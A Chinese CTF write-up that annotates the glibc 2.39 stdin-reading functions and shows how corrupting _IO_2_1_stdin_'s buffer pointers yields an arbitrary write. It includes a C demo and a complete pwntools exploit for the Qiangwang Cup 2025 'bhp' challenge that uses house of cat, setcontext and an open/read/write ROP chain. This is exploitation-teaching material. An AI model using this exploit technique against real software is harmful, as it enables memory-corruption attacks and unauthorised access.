0x00

之前写了一篇关于stdout的利用stdin一直拖着,强网杯2025 遇到了一个 stdin 来任意地址写的应用,于是补充一下

0x01 _IO_file_xsgetn / _IO_new_file_underflow

glibc2.39 找到_IO_file_xsgetn定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
size_t
_IO_file_xsgetn (FILE *fp, void *data, size_t n)
{
size_t want, have;
ssize_t count;
char *s = data;

want = n;

if (fp->_IO_buf_base == NULL) // 缓冲区未分配
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL) // 此前是 backup 模式,释放backup缓冲区
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp); // 分配缓冲区
}

while (want > 0) // 循环
{
have = fp->_IO_read_end - fp->_IO_read_ptr; // 计算读缓冲区剩余可用数据
if (want <= have) // 可满足需要
{
memcpy (s, fp->_IO_read_ptr, want); // 一次直接memcpy过去,完成读取
fp->_IO_read_ptr += want; // 推进 _IO_read_ptr 指针
want = 0; // 完成读取
}
else // 剩余读缓冲区数据不满足需要
{
if (have > 0)
{
s = __mempcpy (s, fp->_IO_read_ptr, have); // 现将读缓冲区现有数据全部memcpy过去
want -= have;
fp->_IO_read_ptr += have; // 推进 _IO_read_ptr 指针
}

/* Check for backup and repeat */
if (_IO_in_backup (fp)) // 处于backup模式
{
_IO_switch_to_main_get_area (fp);
continue;
}

/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) // 缓冲区存在且空间大于所需大小
{
if (__underflow (fp) == EOF) // 调用__underflow,其会系统调用read从文件读取数据填充读缓冲区
break;

continue;
}

/* These must be set before the sysread as we might longjmp out
waiting for input. */
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); // 此时是所需数据大小缓冲区大小,则设置好各个指针,准备直接系统调用read整块读取
_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);

/* Try to maintain alignment: read a whole number of blocks. */
count = want;
if (fp->_IO_buf_base)
{
size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base; // 进行一些对齐优化
if (block_size >= 128)
count -= want % block_size;
}

count = _IO_SYSREAD (fp, s, count); // 调用_IO_SYSREAD直接读取
if (count <= 0)
{
if (count == 0) //文件到达 EOF,读取顺利完成
fp->_flags |= _IO_EOF_SEEN;
else // 否则发生错误,设置错误标志
fp->_flags |= _IO_ERR_SEEN;

break;
}

s += count; // 推进读入区域的指针,更新需读取数据和更新文件指针偏移
want -= count;
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
}
}

return n - want;
}
libc_hidden_def (_IO_file_xsgetn)

_IO_new_file_underflow定义,见注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
int
_IO_new_file_underflow (FILE *fp)
{
ssize_t count;

/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;

if (fp->_flags & _IO_NO_READS) // 禁止读模式
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end) // 读缓冲区仍有数据,直接返回
return *(unsigned char *) fp->_IO_read_ptr;

if (fp->_IO_buf_base == NULL) // 缓冲区为空,分配缓冲区
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL) // 此前处于backup模式,释放backup缓冲区
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp); // 调用_IO_doallocbuf分配缓冲区
}

/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) // 如果当前流是行缓冲或无缓冲输入,那么在输入前要刷新 stdout,防止命令行输出滞后
{
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (stdout);

if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (stdout, EOF);

_IO_release_lock (stdout);
}

_IO_switch_to_get_mode (fp); // 切换到读模式

/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;

count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base); // 调用_IO_SYSREAD从文件读取到缓冲区
if (count <= 0)
{
if (count == 0) // 遇到EOF
fp->_flags |= _IO_EOF_SEEN;
else // 遇到错误
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count; // 根据填充数据量更新读缓冲区end指针
if (count == 0) // EOF时,防止其他错误,unset文件指针偏移
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count); // 调整文件指针偏移
return *(unsigned char *) fp->_IO_read_ptr; // 返回填充到缓冲区的第一个字节
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

0x02 stdin的利用

根据上面对源码的简要分析,我们一般改写_IO_2_1_stdin_满足

  • _IO_read_end == _IO_read_ptr,来触发_IO_new_file_underflow
  • _IO_buf_base设置为写入地址,_IO_buf_end视情况设置,满足_IO_buf_end - _IO_buf_base > want
  • 关于_flags标志位,一般_IO_2_1_stdin_原本的标志位即可满足条件

另外发现在使用setbuf(stdxxx, NULL);后(setvbuf也是),_IO_2_1_stdin__IO_2_1_stdout__IO_2_1_stderr_这几个结构体,其读写缓冲区指针在初始时候会指向自身成员_shortbuf,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> p *stdin
$2 = {
_flags = -72540021,
_IO_read_ptr = 0x7ffff7e03963 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x7ffff7e03963 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x7ffff7e03963 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x7ffff7e03963 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x7ffff7e03963 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x7ffff7e03963 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x7ffff7e03963 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x7ffff7e03964 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7e05720 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7e039c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}
pwndbg> p &*stdin. _shortbuf
$3 = 0x7ffff7e03963 <_IO_2_1_stdin_+131> ""

而不使用setbuf设置为无缓冲的时候则不会如此,查找源码(glibc2.39

1
2
3
4
5
void
setbuf (FILE *fp, char *buf)
{
_IO_setbuffer (fp, buf, BUFSIZ);
}

setbuf只是一层包装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void
_IO_setbuffer (FILE *fp, char *buf, size_t size)
{
CHECK_FILE (fp, );
_IO_acquire_lock (fp);
fp->_flags &= ~_IO_LINE_BUF;
if (!buf)
size = 0;
(void) _IO_SETBUF (fp, buf, size);
if (_IO_vtable_offset (fp) == 0 && fp->_mode == 0 && _IO_CHECK_WIDE (fp))
/* We also have to set the buffer using the wide char function. */
(void) _IO_WSETBUF (fp, buf, size);
_IO_release_lock (fp);
}
libc_hidden_def (_IO_setbuffer)

weak_alias (_IO_setbuffer, setbuffer)

这里_IO_SETBUF (fp, buf, size);会调用虚表函数_IO_new_file_setbuf

1
2
3
4
5
6
7
8
9
10
11
12
13
FILE *
_IO_new_file_setbuf (FILE *fp, char *p, ssize_t len)
{
if (_IO_default_setbuf (fp, p, len) == NULL)
return NULL;

fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);

return fp;
}
libc_hidden_ver (_IO_new_file_setbuf, _IO_file_setbuf)

再找到_IO_default_setbuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
FILE *
_IO_default_setbuf (FILE *fp, char *p, ssize_t len)
{
if (_IO_SYNC (fp) == EOF)
return NULL;
if (p == NULL || len == 0)
{
fp->_flags |= _IO_UNBUFFERED;
_IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);
}
else
{
fp->_flags &= ~_IO_UNBUFFERED;
_IO_setb (fp, p, p+len, 0);
}
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = 0;
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = 0;
return fp;
}

发现这里如果我们设定的缓冲区为NULL,则会把_IO_buf_base设置为fp->_shortbuf_IO_buf_end设置为fp->_shortbuf+1,后续其他函数会将读写指针都设置为_IO_buf_base,与上述发现吻合
这个时候,如果我们将_IO_buf_base的最低字节写0,那么就可以用输入控制_IO_2_1_stdin_,进一步设置_IO_buf_base_IO_buf_end,实现任意地址写

0x03 动手看看

demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

int main()
{
setbuf(stdin, NULL);
printf("printf addr is --> %p\n", &printf);
uint64_t printf_addr = (uint64_t)&printf;
uint64_t stdin_addr = printf_addr + 0x1a37e0;
printf("stdout addr is --> %p\n", stdin_addr);

char* victim = malloc(0x100);
char* buf = malloc(0x100);

printf("init stdin:");
fgets(buf, 0x100, stdin);
memset(victim, 0, 0x100);
memset(buf, 0, 0x100);

printf("victim addr is --> %p\n", victim);
printf("buf addr is --> %p\n", buf);

((uint64_t*)stdin_addr)[7] = (uint64_t)victim; // _IO_buf_base
((uint64_t*)stdin_addr)[8] = (uint64_t)victim + 0x1000; // _IO_buf_end

puts("input to buf");
fgets(buf, 0x100, stdin);
puts("===== buf =====");
write(1, buf, 0x100);
puts("");
puts("===== victim =====");
write(1, victim, 0x100);
puts("");

return 0;
}
// glibc2.39
// gcc demo.c -o demo

运行结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 ── r3t2@LAPTOP-6JKPOVPE:~/ctf/pwn_demos/stdin
│ 20:01:21
── $ ./demo
printf addr is --> 0x7edb95a60100
stdout addr is --> 0x7edb95c038e0
init stdin:aaa
victim addr is --> 0x583bac19b6b0
buf addr is --> 0x583bac19b7c0
input to buf
r3t2
===== buf =====
r3t2

===== victim =====
r3t2

符合预期

0x04 强网杯2025 bhp

题目可以轻松leaklibc_base;存在一个漏洞可以任意地址写一个0,可以往_IO_2_1_stdin_IO_buf_base低字节写0,那么下一次输入便可以写入_IO_2_1_stdin本身(从_IO_buf_base开始写入,可以覆盖到),再次改写_IO_buf_base_IO_buf_end,便可以实现任意地址写
再考虑到沙箱,这个任意地址写打stdout,来打house of cat + setcontext来进行ROP
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x1810)
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
io.recvuntil(b'token: ')

io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
leak_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = leak_addr - 0xaddae
log.info("libc_base --> "+hex(libc_base))

target = libc_base + libc.sym['_IO_2_1_stdin_'] + 7*8 + 1
io.sendlineafter(b'Choice:', b'1')
io.sendlineafter(b'Size:', str(target).encode()) # 将 stdin 的 _IO_buf_base 为 0
io.sendlineafter(b'Content:', b'')
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
io.sendafter(b"Choice:", b'a'*0x18 + p64(stdout)+ p64(stdout + 0x1000)) # 改写stdin,后续可以写stdout

pop_rdi_ret = libc_base + 0x10f78b
ret = pop_rdi_ret + 1

fake_IO_addr = stdout

fake_IO = b'./flag' # _flags
fake_IO = fake_IO.ljust(0x30 + 0x20, b'\x00') + p64(fake_IO_addr + 0x10) # rdx = [rax+0x20] / _wide_data->_IO_write_ptr 这里控制rdx
fake_IO = fake_IO.ljust(0x40 + 0x18, b'\x00') + p64(libc_base + libc.sym['setcontext'] + 61) # _wide_data->_wide_vtable->_IO_WOVERFLOW 覆盖为setcontext+61
fake_IO = fake_IO.ljust(0x68, b'\x00') + p64(0) # _chain
fake_IO = fake_IO.ljust(0x88, b'\x00') + p64(libc_base + 0x205710) # _lock 指向可写地址
fake_IO = fake_IO.ljust(0xa0, b'\x00') + p64(fake_IO_addr + 0x30) # _wida_data
fake_IO = fake_IO.ljust(0x10 + 0xa0, b'\x00') + p64(fake_IO_addr + 0x118) + p64(ret) # 通过rdx,打setcontext,控制rsp为fake_IO_addr + 0x118和rip为ret来执行ROP
fake_IO = fake_IO.ljust(0xc0, b'\x00') + p32(0xffffffff) # _mode = -1
fake_IO = fake_IO.ljust(0xd8, b'\x00') + p64(libc_base + libc.sym["_IO_wfile_jumps"] + 0x10) # vtable
fake_IO = fake_IO.ljust(0x30 + 0xe0, b'\x00') + p64(fake_IO_addr + 0x40) # _wida_data->_wide_vtable

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

pop_rsi_ret = libc_base + 0x110a7d
pop_rdx_ret = libc_base + 0xab8a1
pop_rcx_ret = libc_base + 0xa877e

set_rdx = p64(pop_rcx_ret) + p64(stdout + 0x2100) + p64(pop_rdx_ret) + p64(0x100) #这里控制rdx的gadget如下
#0x72ee5a6ab8a1 <_int_malloc+817> pop rdx RDX => 0x100
#0x72ee5a6ab8a2 <_int_malloc+818> or byte ptr [rcx - 0xa], al [__pthread_keys+3894] <= 3 (0 | 3)
#0x72ee5a6ab8a5 <_int_malloc+821> ret <read>
# 如果不控制一下rcx的话程序会崩溃,所以设置为一个可读写地址
ropchain = p64(pop_rdi_ret) + p64(fake_IO_addr) + p64(open_addr) +\
p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + set_rdx + p64(read_addr) +\
p64(pop_rdi_ret) + p64(2) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(write_addr)

io.sendafter(b'Choice:', fake_IO + ropchain) # 写入stdout

io.interactive()